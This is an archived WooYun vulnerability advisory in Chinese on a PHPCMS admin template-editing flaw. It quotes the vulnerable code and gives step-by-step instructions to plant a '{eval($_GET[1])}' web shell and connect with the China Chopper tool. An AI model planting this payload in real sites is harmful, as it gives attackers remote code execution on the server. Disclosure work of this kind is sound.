当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087343

漏洞标题:PHPCMS后台命令执行可getshell

相关厂商:phpcms

漏洞作者: 路人甲

提交时间:2014-12-24 16:49

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:5

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-24: 细节已通知厂商并且等待厂商处理中
2014-12-29: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-02-22: 细节向核心白帽子及相关领域专家公开
2015-03-04: 细节向普通白帽子公开
2015-03-14: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

模板编辑过滤不当,可文件遍历,下载

详细说明:

通杀Phpcms V9.5.8 Release 20140929 以下,并且在开启编辑模板模式下!
在phpcms\modules\template\file.php代码第54行下

public function edit_file() {
if (empty($this->tpl_edit)) {
showmessage(L('tpl_edit'));
}
$dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', urldecode(trim($_GET['dir']))) : '';
$file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : '';
if ($file) {
preg_match('/^([a-zA-Z0-9])?([^.|-|_]+)/i', $file, $file_t);
$file_t = $file_t[0];
$file_t_v = array('header'=>array('{$SEO[\'title\']}'=>L('seo_title'), '{$SEO[\'site_title\']}'=>L('site_title'), '{$SEO[\'keyword\']}'=>L('seo_keyword'), '{$SEO[\'description\']}'=>L('seo_des')), 'category'=>array('{$catid}'=>L('cat_id'), '{$catname}'=>L('cat_name'), '{$url}'=>L('cat_url'), '{$r[catname]}'=>L('cat_name'), '{$r[url]}'=>'URL', '{$CATEGORYS}'=>L('cats')), 'list'=>array('{$catid}'=>L('cat_id'), '{$catname}'=>L('cat_name'), '{$url}'=>L('cat_url'), '{$CATEGORYS}'=>L('cats')), 'show'=> array('{$title}'=>L('title'), '{$inputtime}'=>L('inputtime'), '{$copyfrom}'=>L('comeform'), '{$content}'=>L('content'), '{$previous_page[url]}'=>L('pre_url'), '{$previous_page[title]}'=>L('pre_title'), '{$next_page[url]}'=>L('next_url'), '{$next_page[title]}'=>L('next_title')), 'page'=>array('{$CATEGORYS}'=>L('cats'), '{$content}'=>L('content')));
}
if (substr($file, -4, 4) != 'html') showmessage(L("can_edit_html_files"));
$filepath = $this->filepath.$dir.DIRECTORY_SEPARATOR.$file;
$is_write = 0;
if (is_writable($filepath)) {
$is_write = 1;
}
if ($_POST['dosubmit']) {
$code = isset($_POST['code']) ? stripslashes($_POST['code']) : showmessage(L('illegal_operation'), HTTP_REFERER);
$code = str_replace(array('<?','{php'),array('<?','{ php'),$code);
if ($is_write == 1) {
pc_base::load_app_func('global');
creat_template_bak($filepath, $this->style, $dir);
file_put_contents($filepath,htmlspecialchars_decode($code));
showmessage(L('operation_success'), HTTP_REFERER);
} else{
showmessage(L("file_does_not_writable"), HTTP_REFERER);
}
} else {
if (file_exists($filepath)) {
$data = new_html_special_chars(file_get_contents($filepath));
} else {
showmessage(L('file_does_not_exists'));
}
}
$show_header = true;
include $this->admin_tpl('file_edit_file');
}


我就简短一下代码

$code = isset($_POST['code']) ? stripslashes($_POST['code']) : showmessage(L('illegal_operation'), HTTP_REFERER);
$code = str_replace(array('<?','{php'),array('<?','{ php'),$code);
if ($is_write == 1) {
pc_base::load_app_func('global');
creat_template_bak($filepath, $this->style, $dir);
file_put_contents($filepath,htmlspecialchars_decode($code));
showmessage(L('operation_success'), HTTP_REFERER);
} else{
showmessage(L("file_does_not_writable"), HTTP_REFERER);
}


可以看出此代码可以识别php标签,那么我发现eval和assert标签等函数相关标签可以通过。
首先进入PHPCMS后台,界面,模板管理,模板风格,content,随意修改模板或者新建一个模板,我就以index.html模板为例,修改,然后对文本框里面添加

{eval($_GET[1])}


同时eval可以换成assert,$_GET也可以换成$_POST、$_COOKIE、$_SESSION
然后提交!

QQ截图20141216112232.png


QQ截图20141216113802.png


QQ截图20141216112307.png


接下来在URL输入http://localhost/phpcms/index.php?1=phpinfo();
看看发现了什么?--php信息

QQ截图20141216112910.png


看起来没什么两栏,那就大错特错了,接下来把模板里的{eval($_GET[1])}改成{eval($_POST[1])},提交!
然后到打开“中国菜刀”工具,操作如下!

QQ截图20141216113221.png


结果如下:

QQ截图20141216113317.png


QQ截图20141216113326.png


漏洞证明:

QQ截图20141216112910.png


QQ截图20141216113317.png


QQ截图20141216113326.png


修复方案:

你们有很强大的团队,不想多说

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无